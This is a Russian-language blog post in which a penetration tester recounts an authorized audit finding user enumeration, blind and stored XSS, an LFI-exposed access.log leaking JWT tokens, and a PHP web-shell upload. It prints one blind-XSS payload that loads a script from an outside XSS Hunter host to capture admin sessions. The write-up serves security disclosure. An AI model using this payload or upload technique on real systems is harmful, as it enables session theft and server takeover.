Хабрахабр

От обычного пользователя до полноправного администратора сервера (XSS, LFI, Web-Shell)

Как я понял, в компании произошел небольшой конфликт. В начале года мне написал сотрудник одной фирмы. Решение провести аудит системы определенно было правильное. Из-за которого существовал риск компроментации системы каким-то из сотрудников. В основе лежал сервис аутентификации. Ведь результаты проверки приятно удивили меня, и «неприятно» удивили заказчика.
Архитетура системы в принципе была стандартная. Дальше по выданному jwt токену пользователь мог использовать функционал системы на различных поддоменах.

Но самым основым по мнению заказчиков. Тестирование ограничилось одним поддоменом. Их было обнаружено много. Не буду рассказывать в деталях все ошибки и проблемы. Я лишь опишу те, которые для меня показались самыми любопытными.

Избыточность информации при поиске пользователей

Запрос на поиск пользователей позволял получать набор информации следующего характера — userID, Name, Login, avatar…

Без особых проблем можно было собрать всю базу Login_name пользователей. Особых ограничений в функционале login так же небыло. Дальше можно было подбирать пароль в несколько потоков или выполнить точечный фишинг на наиболее важных пользователей системы.

Blind XSS в обращении за поддержкой от пользователя.

У меня сложилось впечатление что данная проблема присуствует в 90% систем с которыми я сталкиваюсь. Ко мне ранее неоднократно прилетали «отстуки» от платформ для агрегации отзывов. Так же прилетали доступы к системам мониторинга поведения пользователей в интернете. Много всего было. При этом мало кто понимает на сколько это может быть опасно. Конкретно об этом уязвимости писали тут.
В данному случае я убедился в работоспособности атаки случайно получив уведомление от XSS Hunter. Вектор атаки был следующий:

"><script src=https://sa.xss.ht></script>

Но заказчик не верил что я смогу получить контроль панели администратора через данный вектор атаки. Ведь вся ценная информация хранится в local storage. Т.к XSS Hunter не поддерживает получение local storage информации, пришлось развернуть собственный XSS логер. Очень помогла следующая публикация. В результате повторной атаки удалось убедиться что jwt token администратора системы легко может быть получен злоумышленниом даже из local storage.

Ну а дальше с правами администратора в системе можно делать все что угодно.

Stored XSS в электронном письме.

В системе был обнаружен функционал позволяющий делать оформленные email приглашения для регистрации новых пользователей. В форму письма можно было вставить Имя человека. Чтобы email был более персональным. В результате все содержимое не экранировалось и попадало в письмо. Для того чтобы провернуть подобную успешную xss атаку через письмо — надо знать email клиент жертвы, и надо знать zero day xss для данного клиента. Вообщем успешность данной атаки по определению была ничтожна. До момента, когда я обнаружил любопытную кнопочку в верхнем углу письма.

И вот тут меня ждал сюрприз. Это была возможность открыть web версию письма. При этом веб версия письма открывалась на поддомене admin.*.com Моя XSS сработала.

Двойное удивление так сказать.

Доступный файл access.log

В процессе аудита я нашел интересное место. При попадании разных симоволов в запрос — в ответ от сервера прилетало 404. Но периодически ответ 404 немного отличался от предыдущего. Иногда был дополнительный header. Иногда нет. Определенная мутация ответов системы натолкнула меня на мысль проверить в этом месте локальное включение файлов (LFI). Настроил lfi словарь и стал ждать когда система вернет ответы на все мои запросы. В результате при просмотре результатов теста я был сильно удивлен ответу со статусом 200 с весьма увесистым размером переданных данных.

В данном файле записывалась вся активность на сервере. Оказалось, что я обнаружил доступный на чтение файл access.log. В том числе в данном файле можно было обнаружить jwt токены пользователей.

И это тоже было не очень хорошо. Expiration time этих токенов был достаточно большой.

Полный web-shell доступ к серверу

В принципе все описанные выше — проблемы доволно распространенные. Но определенные типы уязвимостей встретить уже достаточно сложно. Речь о доступе к серверу через аккуратно загруженный код в файлике shell.php. После которого получаются скомпроментированны все проекты находящиеся на этом сервере. О подобной проблеме в 2016 году писал Bo0oM в своем блоге.
Но вернемся к моему примеру. В системе была возможность делать публикации. При этом к публикации можно было загрузить картинку. Картинка сохранялась на том же домене. Но у файла принудительно менялось имя. Т.е вы загружаете — mypicture.jpg. А вот в результате получаете 12345.jpg. Я решил проверить, а что будет если я передам файлик xml (на тот момент я видимо мечтал встретить XXE). И на мое удивление получил ответ 123556.xml. И тут я понял что есть 99% шансов на успех с php расширением файла для web shell. Для этой атаки я использовал b374k shell. При прямом обращении к файлу — я получил то что хотел. Доступ к директориям сервера.

Самое печальное оказалось в том, что через данную уязвимость можно было скомпроментировать более 10 проектов, которые находились в корневой директории этого сервера. Но это было не самое печальное.

Увы на дворе 2019. Мой приятель cyberpunkyc сказал что подобное можно было встретить в году 2007-2010. А подобная проблема существует по сей день.

А я был сильно рад что оказался очень полезен при проведении тестирования. В результате тестирования, заказчик был сильно удивлен результатами. Если у вас есть предложения с интересными проектами — смело пишите мне в телеграм 😉

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть